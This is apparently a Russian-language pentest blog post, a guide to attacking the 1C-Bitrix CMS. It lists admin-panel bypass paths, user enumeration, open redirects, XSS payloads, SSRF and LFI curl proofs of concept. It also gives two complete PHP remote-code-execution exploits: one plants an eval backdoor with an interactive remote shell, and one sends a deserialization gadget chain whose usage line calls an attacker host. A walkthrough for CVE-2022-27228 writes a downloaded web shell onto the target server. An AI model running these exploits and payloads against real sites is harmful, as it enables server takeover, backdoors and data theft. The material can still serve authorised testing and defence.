Skip to main content

Bitrix Ultimate Pentest Guide

·8302 words·39 mins·
Author
FaLLenSkiLL
Table of Contents

⚠ Важно: Все материалы предоставлены исключительно в образовательных целях. Использование этой информации без разрешения владельца системы незаконно. Автор не несёт ответственности за её неправомерное применение.

Вступление
#

По тестированию битрикса накопилось настолько большое количество различных статей и заметок, что уже невозможно что-то не пропустить, не забыть или не потерять.

Особенно учитывая то, что старые видео, статьи и утилиты потихоньку удаляются и не всегда их удается успешно восстановить.

Поэтому я решил создать полный гайд по тестированию CMS Bitrix, который будет включать в себя максимум различных методов и техник, существующих на данный момент. (Если вдруг что-то упустил, пишите в Telegram).

Отмечу, что я не являюсь автором части контента в этой статье — я лишь собрал доступную информацию и дополнил её своими наработками. Все ссылки на источники будут в конце.

meme

Основы битриксологии
#

1С-Битрикс — одна из самых популярных (а вероятно, уже и самая популярная) CMS в СНГ. Жаль только, что дырявенькая.

Существует несколько редакций продукта:

  • Старт
  • Стандарт
  • Малый бизнес
  • Бизнес
  • «1С-Битрикс24»
  • Интернет-магазин + CRM

В основе всех редакций лежит единая кодовая база со стандартным набором функций, которая впоследствии просто обрастает дополнительными модулями и компонентами. Меняется лишь название и появляется новый функционал — естественно, за ваши деньги.

Для нас это означает важный момент: если уязвимость найдена в редакции “Старт”, она с высокой вероятностью будет работать вплоть до “Бизнеса”. Это правило действует и для CRM, хотя там, в силу специфики продукта, обычно требуется наличие пользователя (хотя бы с минимальными правами) — за редкими исключениями.

Отдельно стоит упомянуть BitrixVM — преднастроенную виртуальную машину с автоматическим инсталлятором любой Отдельно стоит упомянуть BitrixVM — преднастроенную виртуальную машину с автоматическим инсталлятором любой из редакций на выбор, и которая имеет свой взгляд на безопасность и стабильность системы. В некоторых случаях это меняет тактику атаки на приложение, хотя в целом принципы тестирования не сильно отличаются от self-hosted версий.

Встроенный WAF
#

У битрикса есть собственный проактивный фильтр (WAF), который обладает довольно хорошей фильтрацией и обеспечивает защиту от большинства известных атак на веб-приложение.

Описание изображения

Весь user-input проходит через множество рекурсивных фильтров, призванных бороться с различными видами уязвимостей (XSS, LFI, SQLi). Т.е., в свою очередь, помимо банального матчинга, ещё производят обратное преобразование сущностей, нормализацию, декодирование и много чего ещё. Здесь, нужно отдать должное, модуль security сильно затрудняет эксплуатацию. А иногда, вообще, режет хорошие уязвимости на корню

Главный минус (а для кого-то и плюс) в том, что WAF работает не везде. Это открывает возможности для обхода защиты, о чём мы подробнее поговорим дальше.

Многосайтовость
#

Один программный комплекс, может быть настроен для работы с несколькими доменами и поддоменами. Которые чаще всего размещаются в отдельных директориях:

/var/www/html/ = site

/var/www/html/subdomain/ = subdomain.site

И часть структуры битрикса в них просто линкуется симлинками:

Описание изображения

В связи с этим, иной раз, получаем обход:

http://site/bitrix/admin/ - 403 
http://subdomain.site/bitrix/admin/ - 403 
http://site/subdomain/bitrix/admin/ - 200

Теперь рассмотрим основные приёмы.

Определение версии
#

К сожалению, точного метода определить версию и редакцию 1С-Битрикс снаружи не существует. Приходится опираться на косвенные признаки. Как пример:

  • Наличие/отсутствие специфичных модулей и компонентов
  • Уникальные пути к файлам статики
  • Особенности поведения, характерные для определённой кодовой базы
  • Год в эндпоинтах административной панели
2021 => '/bitrix/js/ui/vue/vue2/dev/src/bitrixvue.js',
2020 => '/bitrix/js/main/parambag/bundle.config.js',
2019 => '/bitrix/js/main/md5/bundle.config.js',
2018 => '/bitrix/js/main/gridtile/gridtile.min.js',
2017 => '/bitrix/js/main/recorder/encoder.js',
2018 => '/bitrix/js/main/pin/pin.js',
2019 => '/bitrix/js/main/usertype.js',
2018 => '/bitrix/js/main/core/core_webrtc.js',
2017 => '/bitrix/js/main/core/core_admin_interface.js',
2016 => '/bitrix/js/main/jquery/jquery-1.7.js',
2015 => '/bitrix/js/main/rating_like.js',
2016 => '/bitrix/js/main/utils.js'

Описание изображения

Описание изображения

Множественные эндпоинты для авторизации
#

Видите форму авторизации? Нет? Вот и я не вижу. А она есть.

Существует множество отдельных сценариев где проверяется доступ. Обычно, за это отвечает скрипт prolog_admin_before.php. В любом месте, где он будет подключен, мы получим форму авторизации. С возможностью использовать пары логина и пароля в системе, которые будут обработаны движком.

Беда сей фичи в том, что многие администраторы закрывают правилами веб-сервера доступ к /bitrix/admin/:

Но не знают (забывают), что у атакующего полно мест для входа:

/bitrix/admin/
/%62%69%74%72%69%78/./%61%64%6d%69%6e/index.php
/bitrix/components/bitrix/desktop/admin_settings.php
/bitrix/components/bitrix/map.yandex.search/settings/settings.php
/bitrix/components/bitrix/player/player_playlist_edit.php
/bitrix/tools/autosave.php
/bitrix/tools/get_catalog_menu.php
/bitrix/tools/upload.php
/bitrix/tools/catalog_export/yandex_detail.php 
/bitrix/tools/sale/discount_reindex.php 
/bitrix/tools/sale/basket_discount_convert.php
/bitrix/tools/seo_page_parser.php
/bitrix/tools/seo_google.php
/bitrix/tools/seo_yandex_direct.php
/bitrix/tools/seo_yandex.php
/bitrix/tools/clock_selector.php
/bitrix/modules/forum/install/admin/forum_index.php
/bitrix/modules/subscribe/public/subscr_edit.php
/bitrix/admin/main_controller.php
/bitrix/admin/php_command_line.php
/bitrix/components/bitrix/map.yandex.view/settings/settings.php
/bitrix/components/bitrix/map.google.view/settings/settings.php
/bitrix/components/bitrix/map.google.search/settings/settings.php
/bitrix/services/mobileapp/jn.php
/randombullchitgo/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

Причем на /bitrix/services/mobileapp/jn.php нет рейтлимитов. Можно спокойно брутить.

Описание изображения

Кстати, в PHP точки, пробелы и [ в именах запросов автоматически переименовываются в нижнее подчеркивание. А “+” в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.

Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:

Если сделать вот так:

/randombullchitgo/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/randombullchitgo/?SEF`.`APPLICATION%20CUR+PAGE[URL=/bitrix/admin/

То получим ещё эндпоинты для авторизации.

И, конечно, процесc поиска админок можно автоматизировать:

dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Зарегистрироваться"
dirsearch -u "https://TARGET.com/bitrix/" -e php -w ~/bitrix-wordlist.txt --full-url --include-extensions=php --force-extensions -r -R 3 --filter "Status: 200" --filter "Size: >0" --filter-regex "Регистрация"

Лайфхак через burp
#

Когда нужно массово проверить множество URL-адресов в Bitrix, а вручную кодировать каждый в URL-encode лень, можно настроить Burp Suite на автоматическую подмену строк.

  1. Переходим во вкладку ProxyProxy Settings

  2. Внизу находим раздел Match and Replace Rules

  3. Добавляем два новых правила:

Правило 1:

  • Match: bitrix
  • Replace: %62%69%74%72%69%78/. (не забываем слеш /. в конце!)
  • ✅ Regex

Правило 2:

  • Match: admin
  • Replace: %61%64%6d%69%6e
  • ✅ Regex

Не забудьте про галочки напротив “Regex”.

Описание изображения

Подробнее тут

Интересные эндпоинты
#

Некоторые эндпоинты Битрикс могут раскрывать внутреннюю структуру сервера, пути к файлам, версии модулей и другую техническую информацию. Вот список таких эндпоинтов:

/bitrix/tools/composite_data.php
/bitrix/components/bitrix/main.numerator.edit.sequence/slider.php
/bitrix/services/main/ajax.php
/bitrix/services/mobileapp/jn.php
/bitrix/modules/main/admin/php_command_line.php
/?USER_FIELD_MANAGER=1
/bitrix/admin/restore_export.php 
/bitrix/admin/tools_index.php 
/bitrix/bitrix.php 
/bitrix/modules/main/ajax_tools.php 
/bitrix/php_interface/after_connect_d7.php 
/bitrix/themes/.default/.description.php /bitrix/components/bitrix/main.ui.selector/templates/.default/template.php 
/bitrix/components/bitrix/forum.user.profile.edit/templates/.default/interface.php
/bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php
/bitrix/php_interface/dbquery_error.php
/bitrix/templates/.default/subscribe/subscr_form.php

Описание изображения

Описание изображения

Content Spoofing
#

Обычная reflected подмена контента, можно поискать только для того, чтобы похвастаться своей анимешной гифкой на чужом сайте или добавить +1 low багу в отчет по пентесту. Дальше это никак не раскрутить.

/bitrix/components/bitrix/mobileapp.list/ajax.php?items[1][TITLE]=TEXT+INJECTION!+PLEASE+CLICK+HERE!&items[1][DETAIL_LINK]=http://google.com
/bitrix/tools/imagepg.php?img=//ceblog.s3.amazonaws.com/wp-content/uploads/2016/04/22110359/youve-been-hacked.png
/bitrix/templates/learning/js/swfpg.php?img=//evil.host/evil.swf

Описание изображения

Account Enumeration
#

По умолчанию, мы не можем где-то посмотреть список логинов пользователей. Но используя этот недочет, можно пройтись по словарю и попробовать подобрать их. Так, при запросе валидного логина, в ответе приложения будет содержаться строка BITRIX_SM_UIDH=deleted:

GET /bitrix/tools/upload.php HTTP/1.1 
Host: bitrix 
User-Agent: Mozilla/5.0 
Cookie: BITRIX_SM_UIDL=admin; BITRIX_SM_UIDH=1;

Описание изображения

В случае, если это не сработало, почти во всех версиях битрикса можно в тупую перебирать пользаков через форму смены пароля.

/bitrix/admin/index.php#change_password

Описание изображения

В случае, если пользователь существует, изменится ошибка.

Описание изображения

Non-legitimate registration
#

В панель администратора битрикс иногда можно зайти просто зарегистрировавшись. У многих правда кнопка регистрации вовсе отсутствует, но это не мешает нам вызывать стандартные формы.

/auth/?register=yes
/crm/?register=yes
/auth/oauth2/?register=yes
/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/public_files/en/auth/index.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/custom-registration/index.php
/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/examples/public/language/en/examples/my-components/news_list.php?register=yes
/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/personal/profile/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yes
/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/en/board/my/index.php?register=yes
/bitrix/wizards/bitrix/demo/indexes/ru/cancel/?register=yes
/bitrix/wizards/bitrix/demo/indexes/en/cancel/?register=yes

Наличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.

После регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/

Open Redirect
#

Не знаю, по какой причине redirect.php вообще не выпили из продукта, но я особо и не спрашиваю.

/bitrix/redirect.php?goto=https://TARGET%252F:123@google.com/ 
/bitrix/rk.php?goto=https://TARGET%252F:123@google.com/ 
/bitrix/tools/track_mail_click.php?url=http://site%252F@google.com/
/bitrix/redirect.php?goto=https://TARGET.com%252F:123@google.com/

Работает преимущественно на старых версиях битрикса, но даже в случае успеха, вероятно, вы получите предупреждение.

Описание изображения

XSS уязвимости
#

Банальный XSS, можно атаковать аутентифицированных пользователей.

/bitrix/components/bitrix/map.google.view/settings/settings.php?arParams[API_KEY]=123'-'%00'-alert(document.domain)-'
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00'}};alert(document.domain);if(1){//
/waf-bypass.php?page=BYPASS%00")});alert(1);$(document).ready(function%20(){%2f%2f
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};top[%27a%27%2B%27lert%27](document.domain);if(1){//
/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//

SSRF
#

Маршрут /bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.php иногда ведёт к персональному рабочему столу. В нём можно добавлять свои Заметки, ссылки и пр. И среди всего этого интересным элементом является «RSS лента», так как именно через неё и можно сделать SSRF:

  1. Раскрываем виджет.
  2. Вставляем нужной адрес в «Ссылку на RSS ленту».
  3. Нажимаем «ОК» и ждём отстуков на коллаборатор.

Описание изображения

Описание изображения

Описание изображения

LFI
#

Можем читать содержимое внутренних файлов сервера, но, как правило, только в рамках директории с установленным битриксом. /bitrix/*

/.htaccess/randombullchitgo/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////x/..
/.htaccess/randombullchitgo/../../../""""""""""""""""""""""""""""""/../bitrix/""""""""""""""""""""""""""""""/../virtual_file_system.php/""""""""""""""""""""""""""""""/../x/..

PoC:

curl --path-as-is 'https://TARGET/.htaccess/«/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////»/%2E%2E'

or

curl -i -s -k -X $'GET' \
    -H $'Host: https://TARGET' -H $'User-Agent: huitrix/1.11.1' -H $'Accept: */*' \
    $'https://TARGET/.htaccess/%c2%ab/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////%c2%bb/%2E%2E'

RCE
#

html_editor_action.php

vote_agent.php

RCE vote_agent.php (CVE-2022-27228)
#

Описание уязвимости
#

Уязвимость заключается в некорректной обработке пользовательских данных в POST запросе. Демоверсия «1C Bitrix Управление сайтом» была взята с официального сайта. Версия на рисунке 1. Версия Main модуля – 21.400.100.

Описание изображения

Описание атаки.

  1. Получить параметр sessid и cookie PHPSESSID. Это можно сделать через админ. панель по адресу /bitrix/admin.
  2. Выполнить POST запрос с рисунка ниже.

Описание изображения

POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: <> 
Content-Length: 944 
Cache-Control: max-age=0 
Cookie: PHPSESSID=<>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate 
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 
Connection: close

-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
file_put_contents("<путь до корневой директории сервера>/shell.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="image.jpg"
Content-Type: image/jpeg

123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"

pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"

upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"

<>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"

1
-----------------------------xxxxxxxxxxxx--
  1. Открыть лист агентов и зафиксировать полезную нагрузку под ID 2

Описание изображения

  1. Выполнить POST запрос, сменив параметр NAME на параметр NEXT_EXEC и полезную нагрузку на дату и время, установленные на сервере с опережением в одну минуту

Описание изображения

-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]"

<Дата и время>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]";filename="image.jpg" 
Content-Type: image/jpeg

123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"

pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"

upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"

ee8dbbe0d21ce5fbb66ee1047c666f6c
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"

1
-----------------------------xxxxxxxxxxxx--
  1. Зафиксировать появление файла shell.php в корневой директории сервера

Описание изображения

  1. Перейти по адресу /shell.php для подтверждения доступа к нему

Описание изображения

Условия для эксплуатации:

  1. Существует хотя бы один агент на сервере.
  2. Известна дата/время, установленные на сервере, в том числе и часовой пояс.
  3. Доступ к файлу uf.php
  4. Все поля агента возможно поменять, что делает возможным его полную модификацию для исполнения атаки

Эксплуатация данной уязвимости приводит к исполнению произвольного кода PHP, из чего возможно построение дальнейшего вектора атаки на сервер, вплоть до исполнения кода командной оболочки ОС, например, через функцию system()

Уязвимость эксплуатируется за счет использования Arbitrary Object Instantiation из публикации «Уязвимости и атаки на CMS Bitrix» by https://t.me/webpwn. Из-за хеширования значения первого аргумента в этой атаке нет возможности передать свой аргумент напрямую в метод CControllerClient::RunCommand($command, $oRequest, $oResponse). Поэтому был выбран путь эксплуатации через агенты Bitrix.

Агент – периодичная задача, в которой указан метод для выполнения с интервалом времени. С помощью метода CAllAgent::Update($ID, $arFields) можно обновить существующую запись о агенте. Первый аргумент данного метода – ID в таблице существующих агентов из БД и он является целым числом. Возникает проблема: перевод MD5 digest строки в целое число. Она решена самим исходным кодом Bitrix

Описание изображения

Данная операция делает предельно простую вещь – переводит один тип данных в целое число, в том числе и строку. Функция intval() со строковым типом данных переводит в число, записывая первые десятеричные символы строки в число, а встречая недесятиричный символ – прекращает запись в число.

Описание изображения

Символ «e» интерпретируется как экспонента, поэтому последняя строка перевелась в число «100» Следовательно, если подобрать такую строку, чей MD5 хеш будет начинаться с числа, то данный хэш будет переведен в число. Это число – ID в таблице, что позволит менять параметры агента.

Запись об агенте состоит из следующих данных

Описание изображения

Название вызываемого метода находится в поле NAME в формате Class::Method($args). Активный метод имеет символ “Y” в поле ACTIVE. MODULE_ID – название модуля, в котором находится метод. Интересуемый метод находится в модуле main. Время следующего запуска – NEXT_EXEC в формате «DD.MM.YYYY HH:MM:SS»

Поэтому нужно выполнить следующее:

  1. Подобрать нужный MD5 хэш, который будет иметь маленькое число в начале строки хэша. Например, md5(‘bitrix50’) = ‘2cff0d1f456cf0ac11a6d49e5cce8f3b’, что даст число 2. Эти строки возможно будет перебрать, так как не будет правильно угадан ID записи об агенте.
  2. Узнать дату и время, установленные на сервере. Это можно сделать с помощью phpinfo() или сам сервер в заголовках сообщит их.
  3. Изменить NAME на полезную нагрузку CControllerClient::RunCommand('','','');
  4. С помощью запросов из PoC поменять дату, время, модуль и активность на необходимые.
  5. При достижении установленного времени – зайти на любую страницу, таким образом агент будет исполнен.

CVE-2022-27228.pdf

Эксплоит
#

RCE эксплойт на Bitrix <= 21.400.100 Standart <= Business | CRM (any user)

php vote_agent.php https://target.com/
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# update the agent
$body = implode("\r\n", [
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
	'',
	'1',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
	'Content-Type: image/jpeg',
	'',
	str_repeat(' ', 1234),
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
	'',
	'Y',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
	'',
	'0',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
	'',
	'0',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
	'',
	'main',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
	'',
	'Y',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
	'',
	furl(agent($id)),
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
	'',
	'pIndex101',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[mode]"',
	'',
	'upload',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="sessid"',
	'',
	$matches[2],
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[filesCount]"',
	'',
	'1',
	'-----------------------------xxxxxxxxxxxx--'
]);

if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));

message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');

do {
	$code = trim(readline('php > '));
	readline_add_history($code);
	
	if($code != 'EXIT')
		message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
	else
		break;
		
} while(1);

# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');


function request($url, $cookie = '', $post = '', $header = []){
	$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

	$body = @file_get_contents($url, false, stream_context_create(
								['ssl' => [
									'verify_peer' => false,
									'verify_peer_name' => false,
								],
								'http' =>
								[	'timeout' => 10,
									'method' => ($post ? 'POST' : 'GET'),
									'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
									'header' => implode("\r\n", $header),
									'content' => ($post ? $post : '')
                                ]
                             ])
           );
           
	$header = implode(PHP_EOL, $http_response_header);
     
	return $header.PHP_EOL.PHP_EOL.$body;
}

function agent($id = 1){
	return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
	'.payload().'
	return true;')).'\')));');
}

function payload(){
	return '
	if(isset($_REQUEST["bitrixxx"])){
		$DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
		
		try{
			$e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
		}
		catch (Exception $e){
			exit;
		}
	}
	else{
		$r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
		if(isset($_REQUEST["restorexxx"])){
			$DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
			$eval_result = $r;
		}
		else
			eval($r);
	}';
}

function index($id){
	return 'dd';
}

function furl($str){
	return '%'.implode('%', str_split(bin2hex($str), 2));
}

function j(){
	$l = rand(10, 50);
	while(!isset($c[$l])) @$c .= chr(rand(32, 126));
	
	if(rand(0, 1))
		return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
	else
		return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}

function xsleep($t){
	 $s = 0;
	 
	 do{
		print '-';
		sleep(1);
		$s++;
	} while($s < $t);
	
	print PHP_EOL;
}
function t($s){
	foreach(token_get_all('<?php '.$s) as $t)
		@$r .= (is_array($t) ? $t[1] : $t).j();
	return j().substr($r, 5);
}

function message($str){
	print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}

https://helpdesk.bitrix24.com/open/15536776/

RCE html_editor_action.php
#

RCE эксплойт на Bitrix <= 20.100.0

php html_editor_action.php "https://target-bitrix.com" "system" "curl http://attacker-host.com/"
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]

(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# upload default
$body = implode("\r\n", [
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
	'',
	'default',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
	'Content-Type: image/jpeg',
	'',
	payload($func, $farg),
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[CID]"',
	'',
	'1',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
	'',
	'pIndex101',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[mode]"',
	'',
	'upload',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="action"',
	'',
	'uploadfile',
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="sessid"',
	'',
	$matches[2],
	'-----------------------------xxxxxxxxxxxx',
	'Content-Disposition: form-data; name="bxu_info[filesCount]"',
	'',
	'1',
	'-----------------------------xxxxxxxxxxxx--'
]);

request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');

# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));


function request($url, $cookie = '', $post = '', $header = []){
	$header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

	$body = @file_get_contents($url, false, stream_context_create(
								['ssl' => [
											'verify_peer' => false,
											'verify_peer_name' => false,
								],
								'http' =>
								['method' => ($post ? 'POST' : 'GET'),
								'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
								'header' => implode("\r\n", $header),
								'content' => ($post ? $post : '')
                                ]
                             ])
           );
           
	$header = implode(PHP_EOL, $http_response_header);
     
	return $header.PHP_EOL.PHP_EOL.$body;
}

function payload($func, $farg){
	
	return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';

}

function message($str){
	print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>

RCE Landing
#

Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление сайтом вызвана ошибками синхронизации при использовании общего ресурса. Эксплуатация уязвимости может позволить нарушителю, действующему удалённо, выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть

Если коротко, то там хитровымудренный Race Condition to RCE. Эксплоит не дам :)

Можете скачать уязвимую версию и версию после патча, чтобы найти и проанализировать изменения.

Также можете проверить сайт на наличие уязвимости этим шаблоном nuclei.

id: bitrix-landing-rce

info:
  name: Bitrix Landing module RCE version based detection
  author: JhonnyBonny
  severity: Critical
